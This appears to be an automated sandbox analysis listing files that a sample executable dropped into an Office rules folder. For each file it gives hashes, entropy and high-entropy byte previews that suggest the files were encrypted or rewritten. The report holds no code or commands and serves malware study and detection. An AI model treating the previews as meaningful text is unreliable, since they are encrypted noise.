MD5:	2C7092139293B08DF827EA4E28F11F79
SHA1:	A0B2C07005350744DC9F8F2A0863B2913685C41F
SHA-256:	F0B1213BF7CAD7871DFC223D4EB4F643359DB33C6B01BEC050D5AED356041D3B
SHA-512:	2C3383ED0DC122482941CE1AEBA3572CF3D8CF6C8F2C1AC6051E2BBD6AF5C6C1D67AA08F760937530F7CA3A903354780A17E123FEA016E131B235FCE1A0BCEE2
Malicious:	false
Preview:	<?xmle......W..V.b$..}....2....._.........v.W`.mKv.....~....fiM....4.o.._&..U.5.". B."E..\a......"cy....APP.&...I?..!v.l...N..1..Yj..tS..@.U.....n.%$<)I.].Fb......V...v.'-~.\.-I.3.60.WT.:0.........wy....T.cf...M.....d...xAz.3N...V\..-?.+[h...[.....j..^....J.....w......j....; j1V.L..K<..u...S......m.....-..p]z9.G.....R.6. ..M...d.'.T...l.UJM.7%...>..<....N.X..t=F.~.... .:".[.w.+..'v.V...vP.&.J.az....d.....%..]...P.s..{.d7...2]...s\|..9S.r.....Z..L!.r..;.m$..>....m&....!.F........qP~..."^..X..U..hOEd-.....}X.....}.k].P;G....q.._\..,..?..@C.q..o..c.4Xc_z.q6.m..kq!X0......r....9.a....-..Y....j.B$&.K.8I...hPhG..y..x.....,..}S.....i+.7.`;FN.i..+...s...7..(.Y...+N....`..>.....i...O{.....Z.~.H......Z.kU'0..{..D.........K.Lu...;yTl..)N.W.c..*.H.......d......\|.c...<$.J.[....=...']F..N:...&Q..EED....s.....P?....)..?..cu.....&8.S...........2...P......<tP........33?%.r.LBG..m..>...Aq.3..gu/L..j...).)...u,.U..:L..L:;.........._..7.#Jn.0........&P.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule360001v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	771
Entropy (8bit):	7.7457337748599375
Encrypted:	false
SSDEEP:	24:HIIdYgtExNEf/zDbvqtiPHSKbfljXbuObD:ggtBDnvqtUSyNxD
MD5:	62D0696B5027540C86A614FDBEC516F4
SHA1:	61FD1A1FC945B46F259A14E50E9A9830CCA1BAA9
SHA-256:	28A1D912BD9640515F8D16F574B829CEECBF992C88E1FB239F1D3DB71BA2C6CE
SHA-512:	53DAF7F140945859517BFA2C49680741585F355430D2F6F2B77263C2A551815F4E7C27739B77B289F14C74506EB264112435BCB5F61E6CE9CA09D5D45BD3CC97
Malicious:	false
Preview:	<?xml..l.$...$..j.qYP....h...g.do.......T....L..?qG.bR`...?.......Qj.pP...E~......YK.8>....&.r1z.9.r.....OJ....X.....X...C..J.d.5..z..?..B......;...r.....e......SN....c...r....\.e........l.F.=.....^E7.V...n..5nf.....)...E..D0.N..:WK.....4.8$m.l.0 ..lv....h'..~...<\|.{..U...].).GBT..-V...u.J9.>...kP.g..........\.N...H...i.t0.Jy(....bu)9....`.'.....p..3H.>.a..;hG<is.......V.;..N.MR..t2.....{....w.$g.....,/........i..U....m5W...9...9..:A....^.>..Z+.$]...8gL..Q. ..I-6......\|..b..!...2X 9.n.....a9m..$nK..r.P...2...W...h.0s.....h..~..r.y..c..=s*....D...N......=..3.......z..P.6..p.g.#.aZ`...X}..,.[D....i..$.w.,a..G.3)..'..p...........\|L;..#..z.....TiZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370000v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	863
Entropy (8bit):	7.715048086020062
Encrypted:	false
SSDEEP:	24:KufB9icK0N9YXxpwQkhGkoBe2fl8p4WqqL2pDcObD:Kup9ir0N9YhjGGkokyKQqLObD
MD5:	F0C91BD389C85F0E09B4574D695B0292
SHA1:	E6057B03408C32EAD7FE25C94BFA4DF10179750B
SHA-256:	7FA27BAABA3FD78832202C19C3AF965924B211F22D3E78C36551510D2ED39379
SHA-512:	5301D62ADA603AB3E60994B6A4E8CEC47448EF9F728B29171799DDCED06F2A8A5DE2A448A648EE84ABB5E6FB15017B4EB05A5D59A9E9EC9282790E42F8D940B3
Malicious:	false
Preview:	<?xml....F..5j..Mk[H).A.?#^{.....d.C........H.Qm.........9{)../1...".~....C=....x..k.....]+..\|.S..U..2......ms.....8.. .[M.{.k...t.ee..e.:0-B......Hvf.U.)..........Qy....w.....=...Xz..D.u@2.....f.J..@.?..........G.S.x.b.*nFcT...R.^...,Sv..O.M.......s.l..E.x.....(..G."....'z/...x....oWx..+....8.t..>G.>.3s.D..>.L....f99..\..{.4(..."...._.L.S.....1.n,il&.s9.%....\|...3.mN......4.._^...o.{6[=..49.Z..C..C?...G\|..:k.&........e..bp.)....1g..,.sY.....Dv&...$.9z.?.e...T...]g.....N..]....gl[..Q.f.j^.j.......g..x#.......;.5E...`7v....M.jj.^..o..:.:..I..D.F. :....;2.Q..JE8..0\..l..........-mB.K4u._M.:Jr...Y.'..JI.^;.`.......2.;F.O.DG.._.N..D...&.%g...e4o...SY.......Vs...8.%......T....?s.....A.{.._=.8.>r..)".h.Q..{,...3.l..m..}+...>8Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370001v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2604
Entropy (8bit):	7.922636435236664
Encrypted:	false
SSDEEP:	48:2ZIj2zOu69IrRQgRjV7q+2285YxYFnkuaEGNeOuiFXrTF9mfOpR/D:8k2zIIrRQmjO281FkuRieEFXnmfwr
MD5:	155E76DBB2B96077006199C3ED6D26FF
SHA1:	896556B3D5E87596BEA513FECA434B99566DDBC2
SHA-256:	836A336012BD009E40F34C3CA29D733B4369EFBD087831E38EBD451EA35EACBE
SHA-512:	27BBB64AAB0EA77AD78C164C11884C619A285510A9A51AE96E2FC813E276CB4D06C81B35F79D8CBBCD4291D5F7055FB596BE7CCEBE84CBEE1AA8729263C4B114
Malicious:	false
Preview:	<?xml4...f.....4Bd^m8.>...<.T~.e...\|..+.....o....}d.cW.<z.:.....UATo.7`.{Md.@ .p&..d...S.U...j.v1..<...}k-.......rZ[..W..J+......U..)V$..a......+~."N\|^$.G.es.7....X...n...\......J.XzX..2BQo..`..O3.(......B?=..1.q;.2..?...8...?..b..@...(@.a3+......r...k..X.XF\...(....p...\|..7.0....W.........J!.#Z..I.{....o.;GZ.].7.j.....S.t.N\|.:.OXV.......Ir..n..R....b..a......y....T..c....g.81.<......zZ...kF:$.2.[. ....1.@......J...T.6.#.....H....\|.....Mw.\......M..k...[.:..,0.2>.../2.S..)f ._.:#c..{...7t.]..C.........<.2..T.c.;...DT.........Dl.7..r....T.#6.eW....7......+Y..'/....z.D.@n.o.F.{Q2..U.rQnV?R.J.n.4$l.....1.......A......!=.*.........$0HdO.7C.:....?\1....q.....T...vN.J.3...9gEm.r^..o...F......%".%.3.5.'.\.$/.-!E[.J...H./...S..h.v....+..."\|.....i..M&.>.../..!{..{S......8Y.....>.(...c..=j<.A."..Y..k.....$.o.......f.4./.@...Wx.5.1s%.,............a$.a..r....].S...D.%.......f... 6`...\.N.d.L.V....<..H...j......d.>.`...\|"....Y.'UH%.G

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370002v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	6109
Entropy (8bit):	7.971523160760268
Encrypted:	false
SSDEEP:	96:/KitScw+b0hi1sOeaCYgKOnxD9qHjGtHxZ15n1/T8is7Mh5EH9HMzuyOJXMj9:SMS9+YhCsOesOnxD8HjmxZ1nG7Mh5LzX
MD5:	FC8E3749DA9D510FD070AB8B83C53F1B
SHA1:	AE60554F465FFBD0FA03A374DB84EC6774B03923
SHA-256:	9A929693915D3DFA8B082ABCD0303C1164C6EAC27B7C6EE2F899F0C026EE43BA
SHA-512:	7C1D412903F67F019656D7F211F5F19E687ECFCEFF4C7AEF3F164E6862751E64FBF7957F62A52B1EA864E9FB34EDC77AD34306E14C011C4E7D4C719B5A88DEE5
Malicious:	false
Preview:	<?xmlh{....>..%@..h...+.z.....xU.M.....V...S..vS.[.h.&O,.I...0?V2.9t./....^...-.....V..."1.i..l.)N5uZ....R\.x2W...... l21c...X.'...I[...s@...\|U)b..`.v... XYO]T...A..P..\q....:H..c.Z...T....3..B..]._.....H.ia.....":S..!..m..........d...l.fc.nm...c..w..'...<..%#.!+3.Q.h..c..T<_..dW...AH.v.]9eFc.J.I...n>Hh....i6....tS...........v..^V.S<..ZBI./`.."...4.G..-.....H...1cOTa{Ok..Y...m...4..g....3.$..0&..C..d.`.Y....Z`.&.3.u.}..?..%`f.....8...p0.B.%h.....g6THB..!..rh...U.._........<.12..R.'......u..Rx.,..oOp......'......~.G.e2..D..Q6.Z.......q..0<...TFco^."............\2.}.....V...sPAG.AC....3t(L...L...j.....F.G...&..S.GF.....~..Z.+.V...I.xH....}..u..:._P.L..{d..-.g.....YPc%.?...f../.v..s9d\|S\..."_m..V.?......} n5..n.lg..SZ..l....!.z...dS0;DM..._..<..(..E./a(..$$.}/.Y....Q{......K....t.'B.1r.Srm.a&..._.9.s7.8.3....#.{Y.W..Y....].y..D8...]\|J...b..8.h.T..;.AF..)..S.vrF.\|......?.R...'..^.05T...h......p#Z6.._.;2......-..Q..(."L.'.g.kK{.0E.\

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370005v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1454
Entropy (8bit):	7.853357702419984
Encrypted:	false
SSDEEP:	24:vU+zHJ2Yy2hm2Iha9hPUS7S+EfZqY7yC6SkJf+p08o2AaSuLfqFwt78jof5UTr4u:vzUYyGyha9hcao7y/SqsJuxubU+8Uflu
MD5:	5385682B5BF1CAECC11FCD62D174E8FD
SHA1:	E5A8D20BDD5A4F1E45A8F5C562C8E6C461800017
SHA-256:	1DF814556D4FABDDEF0496C16122E967C72BD5067DCCA546D3A384A6B7030217
SHA-512:	4C334358797E3E646BC1BFCB8E3170D760DD6B779686C359D1595F0148821B6428E54AB34FC179F808C8604D8BC7816548FBAFC1F6C2478F997647253F5776F3
Malicious:	false
Preview:	<?xmlK]...R7.s\|....(.>\|[...\|..CW...V..OE..l...=.<a^a(.iEm.. .)..Vw!+.XZ..+.5.i....`2..R..O..mMs3./..T..8.1....N.G\}..F6z.t.j..3&..T.Z...~.W.-El....t..s..wv.......-..p$..v."....^...n.l+..=%.a.]..W.u.e#...Q ...g.$.....WJx:....t)7.....y:rtjV.. .w)V..B@.H..d..Z.....W1....@H..z....MO.........[aX..f2....\t.\.Y5fsU..e...%....i..._.>>...k.... ....c..l.P......F....iF......h2.U....^W..Ms..Rk...._;....;...gS.......Z<.}...u....Gm.Y3.m.....3ys....q.......6./.X.,.sH...w!3..N7.W.@p..z0.......K.g.[.@...f......P..)..?........gB....I..............v..j....X....?.......x..D..6%..0m(\&x...F.Z8.2-s..):8.....f...o.K..B_i...X...S&$J{\|.t3>.....U.A......9.9..8++J.......m-$n...-<.Lh.T...EJ.P../..9.pg..E...)..y.......i.^.E.+kK)....J.j.(.z...Mvp..U..H...c.q .......\n>)XQ..X.%.8d....M...nFe.#.j....I.uU&....P..lo..x..u.#v.N..`.\|V...N.......X._.-y.rqQF.i1J.....\........\..]?..m_...S.D..v...W..6..{..-.y...Th.t\..^.7..^.@..&.wA....8..=...o.e...s1;...xd...D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370006v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1120
Entropy (8bit):	7.812242471089124
Encrypted:	false
SSDEEP:	24:GZS1wS/XXDNgo7Uq1ACCEYrohIQmVjMCFk8fby7emlObD:b1wS/jNgoIqwE9hB2jq8fGJqD
MD5:	72ACD82183571C6A14BE13E0315CBC4C
SHA1:	89E0578E6AB10AF2D7E861C8E5302CFB9699E2B0
SHA-256:	45355343C59E4DF6886066DFB80D258F354E1C723FF0ED7F0C220BBD75D60A16
SHA-512:	1AE46A2D311D84104A1D3EA5187A58E7AE4F0A97E8EABE1B13D763EB5D7BC97F8E0FD0A87F8E0279361211E9D4B00173F73C8246D89F5C8E8C51734B182A0C32
Malicious:	false
Preview:	<?xml:...~...@...6u.C.HB.../QB..I"....h t}V..b..as.\..6.q.5kh.s..]......dN...c..m./C...h....../$...?."5...2".>.u..v;...\|.V`..@ .e...YJ.t....4^.8.?V..+.Y...M..TD..N..\|V:.....Z..h.D...y....ys...C.....4".c.S#.3...q.X8{....L...Z..>..R>.Cl).....[u..q....?.U.}V..$...z..8..L.....H...F.U..f...h....K.J.2....).PM....\|dO..b.D.a.4...?...=.n....K.=......].~.{...c.c....h.i..8,..=I.(<F..}..w$i4.g%.D.>.jN'..HK.....h%.@.,.z..E$vg..bY...;.+.4!..a:...G.=..>.\.5.r8.{...0...3....4...#.hx.K}.y.f.....E=......`...@..4sxY.Q.MB.q......781y.M./.e.&lZiG...?l...O..iV.A..;.-.....yW.v.#.........I.-}........fP92...\|.....R...\|.^..h......5...B.I...V...}q$..]yw...'L.n.f~.$.........P.G\|..ro..,azG.)n.Y...?.8..).Dm*.S....W..Y.O.....w..J....,A.#.V.J..-I..e.....M3........m{...s.#.)_./Ko..<.......]:..J...Sc.k_.d.~....o:v..&.o.v......fr.{.A...%X...C.f1. O6s.E.......D?.V..~e..A..f...X..P..V.w.$$w..P,.b).....#..p....0...NN.<.....@.....G.....Olb.&..J..rt~.w..o..a. a.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370007v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3678
Entropy (8bit):	7.950294317512696
Encrypted:	false
SSDEEP:	96:MyiBeJsbiGChONYQY2sODvnQjhZC6lVTQ7yB8Y7:MV0Jsbi1OWNOTSS6rQEZ7
MD5:	D90477E8FF8D5D75021ABA88314BDAD8
SHA1:	95243957248518508A1E6CCEF1BB0943AE2269FB
SHA-256:	6EA8AEAF26B9C4A69B57630F8BADB724448CDFE2CDB040DCF92571D3A5E9A777
SHA-512:	214C2413E26890C772122CE39F85D22958A4DFAC4BB25C5DBCBCD757F766237AE9ED8765A132EC5EEC129CCDB04BC9A4578403CB811FB87B8593173D5A57D81E
Malicious:	false
Preview:	<?xml..K..I.#...{..4.Q:...O.F.S..Bq..@l.m...v0...=...z..pQ}.7V.....+ZoR.....3}.,....{x....,;..."}..k.{..f..!..^.\...j.o..{..[..a...e.C........G.v.x..........=..j..M....M^H........>N.\|.".".#y..N.N....T..-..&5...!....l..=..Z....K...7..<O........AC.U0.:.=..%...5.UIa..y..d.&..gDo.?...$.#......@...C.:.W......@bTjA.yi...v.;....E.....YX{.pUR,.......>..+.x....#Pj.........^_.........H....N:3gphaS\|'...#.G.=j'...#k........B4Q....H?............D3.......e...Th..'....^.r...=.Wei ....l.WC..@.kU...\|h..W/.<...g......pxJ..h..}.E...F.v........`...U.2?.z)k..{....%.....D4{..%.+7....u..f(..mk.Z0........".&\|...S@....v..$....,...Do.F<s.2..i.X...k.......h_YCS$B,.~....SD.mb.~i0a.p?.D.....U.w.d.7Y..C.4...5.....Qu0&..>.z.Z...QQ..8(rf..........w#:m.$.MRb 4:..Ju~<A..;.'_.!..H...X..GXb4..!...S.3.Q......!5..w.....yP\|,E....g..!lZa.0..M.....~Mz........_.r.^~1.....^.De3.3D.a.W<.n.z/LJ..k..;.9...U'u.P..?..].@{....C{Q.[..2.~F..8<..k.e..;.....Hp.q&4.....Q..hf..Ky.n...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370009v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	7.76798165533507
Encrypted:	false
SSDEEP:	24:oIASelEVh6aIMRgAjdtwFEQiqTx2zilSXWFmHToiiMM8x04nu3KObD:fASJT6aXRjdOFFiqcUSmFmHToitSftD
MD5:	9E4E3ABA9FB945F3730153D8C14F5911
SHA1:	A11982C65D0D6835E95ED1FF5BB4058EAC9BCD2A
SHA-256:	E99B834F283ED6410FF661D8DA4D8045E434C487C91FE9B47B3F634ABC9A23E0
SHA-512:	043C72A2BF1C2E65FDA5984744BCF702940CFD2688D311DD71A0D7BE96AFDDF4BE5837BC65AF8E6EF7DE8410AAF4D012CBD8D2EBE5F0CB44BD880F1FA5D0BB2B
Malicious:	false
Preview:	<?xml...e0..xgP..\...X)m...R.I.....U.."..2.p*.......8M.-f)....:.X~e.1....j.,Z.jH..y..z.Tn..1Zs.G.. .5...t...{..e......m.\|....._.:...j.t..h..3D...........Y.<.:c.G...Y.k....4K;..._<ImOxP.%g../n.k={....U- f...{...n...oc.'X;.G.fH...x.G......S.a2h..}....N&5.BVj.JK.,.d<..g.H.#v...../7%.........L~.Zs.u.J.........x.T.M.T.. W....]`Dx..G.m.7....g..W#.\|.p..C...L.>6_eF2....NjF..b...L....x2<."v.(@.+..c..oHX..@........{........~.7V....Ku...q....+.Sh..;.k$....)^g....7eJ..'....T9...?..f.S.p..]..'W.u...6.\M.~.........Ad..K.jL.F...L...k.UJE...qH....&.X....6'..k.5..w.....+.h.....t=..B..,....q. J..r ..Ul.;.tk...S.).u......9s.<.#....?....CG...8v-.$.&:<..x&%r.c./.Z..W....}U.CK..'.....q.....Sl_...N.Vk.6{.........K ND~......\|...[.[.{\|..T.?....t..vg.X.1=} .&... ;....a:0y...:......:.]G.......3.;X.g...Q.f......B....6.V.J&WG....K!......m....+.y.....T..U...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370011v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1191
Entropy (8bit):	7.853062716114487
Encrypted:	false
SSDEEP:	24:ojVOeFd0ROZ+i+4PDeBw9aLb7Nx0DXSMhMrCtObhsFJgUuzP6dbDorobd6KR7ObD:useLOO64ysAcXVhMrCtIs7g3rixdjQD
MD5:	0BCBCE4BF432D5484C8C50EC6923B429
SHA1:	65C065ADB4CC399C5AEF4CAC628AD8201E7151AA
SHA-256:	7053E0E97D1E7F7597409D9C1101BB03E5AF130607A85C19F5C8BE77090EBEE2
SHA-512:	1C62D4F1054513FEC852CAB0DE3C54C7F1F9A1482EAFAEE07A51E622280350F9483D740AA96F2E6AC75A0DEBAC60DB0B83C00844144D1CBA61F0D354CC7267EF
Malicious:	false
Preview:	<?xml.>..B9.7Z...W..s.Vk....N..$.I..<p.M...#... .....\|.x:.s~..........2........gC.#...O2V."}.w.u.......R.C...:..js.A..&.I......W0..!_M.....A..Ic%<"cW.....;L.$../..{3z.6.B..Od.S..b!./.Y...S.\|.......`9.......y.....y.I.4.HZ..6....._z2K..+cv...6~`.k..u.\|[.2+.b.MJ.........h....5..=..0.....r.....X9........}...B..........P.c...7.i./.V.....ymHU.Q.....nA'Kyx..p..b8...].S.....p.....................-.P....._...._0...&FK..-.....\....RR..+m..W.j...]..._X........' %.....Qe.6.]Qs.'..........3i..Z.j.n.MCq...oX...(....a[.....J..{.~?oN(n.!.3..6y.=i+"Q\..'+w....N..M...Q...E.B!..'..).;.Mk...}..b&......"[.!.....o.y.R.%HL5._.J)N..3.0..@,.s....}.Z%t..j7..Vk.].b.z........X..t.0.bu)k/3.3......Q ....[2.1.......O{.08*..1.O..u.G"..H.Y.e....r.d...r..f.0....!......Y.&.Q.....D.......!...U.6?2..7?z...$..S.?....0.&..XV...2........U.3...X.p.@..k....JB$...I...s.....7_x.k..m..z...G..i.v..WEa..!.(....?.%...#.6.A;....gm.^...S...[Z.5.]Z.3.e...E.{g.'....@........ ..".F-H...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370012v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	732
Entropy (8bit):	7.703206920505172
Encrypted:	false
SSDEEP:	12:OJhtS8S0tKYhbjPCX3WU1KZqBDfiWYLfMzJ0Bx1BlBz8P3wiMHYiuOcii9a:0htPS0Fhb03nMZEDfOfaGBEPAHYHObD
MD5:	AC82B38DA38C2AA9B435C9C5C6F63FA5
SHA1:	2ADE17D20F1AC15815E5884579C6AD1E24B69639
SHA-256:	0CD40A9A1E3A28900401D2CFBD5EF909BFEB9E53235B77A469B89B99DEF1477F
SHA-512:	ED53907B24C17A2CA3F8C5249572AD9FC176FF4E375907C4BC8270ED96C86E97AC6D6AFA5D68D21480C1B57561952D2BFC2741CD1BC3C9996CFDC947CB0DEE95
Malicious:	false
Preview:	<?xml")>V.....sL.......i.M.)=~@Z.B..=,.HR..9p...fW$s.D..sy:9..px.1<].wf;......v-.........4..tjm....Y.S..3.....A6............J.Y.....@K.P..../2....).X... .dgua.!...0.b..<3.J...6.$.;..7..:.X....p.I..39.Se;C...C.Zqe....P...d.T3..'..$.$1N.z...0DS......Bq..Mkh.^..}..R.3.Hs..{.m....w..M.......6.^6./L..r{..]....o..m...+e>...k.M.j0.L....w.Z..-.C..4...AJ._.{.a....uY.kHGB0..G.?...#d(......N.......{m5....R;..<u..m%...3n.A..B..'._r^.......o.!...Z..=....+x....Z...9 5.f.o.Nx.HH..0..b<.\|Ls.t..-.D..XT...`et......M2.-..\"\|.]..r..hq._..E.8..../.$.C..ma..t..Hwn....-..k...1...]?&-Q. ..u.Y~S.Z..C...A...aG.E.>j.X.2...5eaI...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule390004v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3616
Entropy (8bit):	7.948981120658486
Encrypted:	false
SSDEEP:	96:kayv0d4Y5vOJ+7VEDjYZR7ExvDqTDIZacByZ60GEQNDvmMXo:ka80d4Y50CVgjYP4x2TDIEcBYRGEK+MY
MD5:	E8CCF4916FC2F355E03631F2A2AE2FB9
SHA1:	707C90457CBF8C85F99D766769266693DF436BFD
SHA-256:	7C79E7EF762CB9C7A44C5874EA555B6BC500C3DC54D5DD2F6EEB9C89F91E18F1
SHA-512:	06533603931287685A85D6D43ADF05BEBBD7136955CC0AC67B9D10A664DF2722BE8FD3356FB82ADA72FE127428C7EA62CAE638F6ED6162F38C39248863A3EB1B
Malicious:	false
Preview:	<?xml.@x.p>.wlq..>/..A....<(.v..S.#A.}..X!..=.B..$9.Qd..A.%.....kp.7..#?..%uPg..,O.7HI...v.;.J..oI....'.=...^Fs......<...T..v....H~..w........%....a."...>.O.l...P...e....'....w\|k G...I"....o..8S.c7....`.....P.b....;RwJL3...s+...H ........d.6....\..K.9....c2...A...Y....&'%......U\......t..........e...iv..7z}z+.}q....6...@.op.T.t1..K.[..j...Z.2.)...\.$..f..t[..]...&.....X..W..W..~I.6....K&....o.n%.x(.b.L...7._.a....F.......;.[.g.\.....% 8...P.'uD[.....\'..p8..&(B"h..H1..i.MV...+T..y..+3..l.n.{.S....Z....d..jfi.4...T..W...e..\|1.F.p..e...T......I..K..\..o...s]:.E.......sN..%&%.FG..$T.n].:T.V....9..EC....Vv2F.u....e..`6....v}....$..-T%~.......L.g:.s4....o..s....f.0.....Ob0..&.M..p..[rp5SF.h[.e...3....Bj.<...^#c......&e.H...EHo.......0.:.....D..m...X.RBR......':...tE..$.....@../'A$j.....H._Q....~..i4x....X.GA..+R..........k.b^."...0{..p....p9*^^.;.iG..yW..ui..#\,."..t..9..+..).R5..^.$M.K....8..(\|..2f.Y..v...l..?y....;....=.W.0.,..6Gp8.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule390005v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	783
Entropy (8bit):	7.705117364487699
Encrypted:	false
SSDEEP:	24:K71avcJPvfsRPg4QiQdSrYaKjCyJwKObD:DvcJUDQiQWY7CowtD
MD5:	17D7B76B6FBE66DDDA62A13DC61E86C6
SHA1:	5B62676812DEFE6657A6AECB89EFB0604BB75CC9
SHA-256:	75F58848A4D3CFE3B8D12191C7D00B113F5CCC3BD650A7DE326417476D819756
SHA-512:	231B6EDCB4D7D7EB8B603DCE06CF70DDA3215E78A3A5C57BF9B9878908FEBDA2DF07B9C9154C15486626EE7E87B1A132D80D04AB483CBAE4E70C0EB203298101
Malicious:	false
Preview:	<?xml..(..-./rf~......n......$.....G..R....y..q.....Fr.........0...\|...axw...].2.........l...D.#.....eE..3P.--...j...l%..n....S+\Y\V.#G[....>..._.!.K`BbW..Y...K...\|s.i]...&i..H.b..O.....D8\....7%U..d.J...A7^u..[.3.7...sp>.w?."....a.Gxp..e.y3./.\.U...D_...&.....F..\|..l.mw0......g].d..t..\|K.....G>.....F.R..:....!....s.Se.\|(.hfF..:S.l.J..!....\|Lt.c..c"......c...\|Vj.....&......^..Ox9.6,.jv..'...NB[...3.-Z.....m.]b {u...n8'.... Q..P.d.o".!..'..X..i....~.......].....3.k-0......q...XN..'........(....J..4..-.N..V..#ojf.R...&.d.#.n....G.}..B..Xj#p.}.h>.4.I .F2hj'...(...:...>R.G[_......y0wKK..0..^#.B....../.!\|...fj.....).D,.u.....EE.{.qC.y......(]..hHm....O.oCiZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440000v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2331
Entropy (8bit):	7.915478276446086
Encrypted:	false
SSDEEP:	48:WuMo7N0333F94MEup0ICvhozEWpvhSzOQlmLZFuUP8yIh6OnS9Kv7D:WCk374ip0ICvhozEu0YbuUkh64S9o3
MD5:	42466B3F61FD0FF5A55F91B658A8123A
SHA1:	E87FC136C1FF31C52049F3923FC5803DF8AE12C0
SHA-256:	6918026AEF8AAA9C51BC3810EB163D57633E843E0112AA056D1BB4EEFE0D39DC
SHA-512:	3B2CB27118573F056CCA98B938656F2AB3FE83407499DDEE89471F3890F485A69BA2DF9E8626CF8F7C1689A4A86C670A812FB9AA89BD6ADC079A2AC2921B049C
Malicious:	false
Preview:	<?xmlwL.>.2.......wauy..Fo;@...+...H=..u.+=W.H..Z{.k..u.&.H0.$...../.4..w..@..>.r<.>+...3^K.......6..pK...y....L-JA.g..7....K..._!E.....VF.%..>69.\|..x..:..b...>....C..C...7Y....&......a.. ..y.M.9fXN.\[.n6..9...j....b..!...&.......&d.......C.FS..!........Zf..(.u....f........T....m[U)#..}p...0.Gi...d..,4T.m.c.......~.9.:.s.[Q1....."{.....aT....~..eni.?1.......u"u..k.h.x...PQk..5...K.V.. a.y.m.....bU...#._.].,+.}.k..yZ....e1!..X...F..oV.m..IW.T[...l.......Dai..kek..7(....zO...O.{>.L6..vdi...qyQ...! .c............k...0..-b.nzU..te^...zY./Wo.W.h......9.....f..L$<i.s!...Z....&.Y.2N....A....d.H../yH...f3.h)....n757{...{TY....X....3..."...>.......+.y.X3!....+.,./Khi.]..;[..L...u....Fp......!.nO..S. ~..v...1q.`..J-.B~...wQ...T4..4d.j`.d...!z..X.z... ...~EY......'...S.\W....E.?.\|2.m....>..J......N...*.T....\#...MOn.X............;~.?...<....-0..B.....v....,.?.]....#{...T..Q....C..[.&>4v..i.._G..f.Fd........c$$..S3........a.n._.%.z;.P..).sI......>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440002v9.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	44492
Entropy (8bit):	7.995654562028734
Encrypted:	true
SSDEEP:	768:1Vd5WUESn2xOCmnRVeZrpKxcu/E3i2hY9BWg7SxcSPygHbnsUqS8ByU1KaW:1VXX2QCm6t0xcOyOBB7SxHPV7sU6BlKX
MD5:	D66A191DFE36D49D75D640147159CD3C
SHA1:	A72E77979366C7615388CF796E6C4DE5607D7361
SHA-256:	2EFAE828D1F8F0FD4D7957415E166DBE1ADF6483653BA0ECB03F7C640108CE6D
SHA-512:	219AEC4D60C1C441359645617FAD4D43D191985BBA7B7A2B461207B41883CD899F724F3CDB981794B7A49935DF61B2D055EA10B30B545297DE36BD255C5E1E16
Malicious:	true
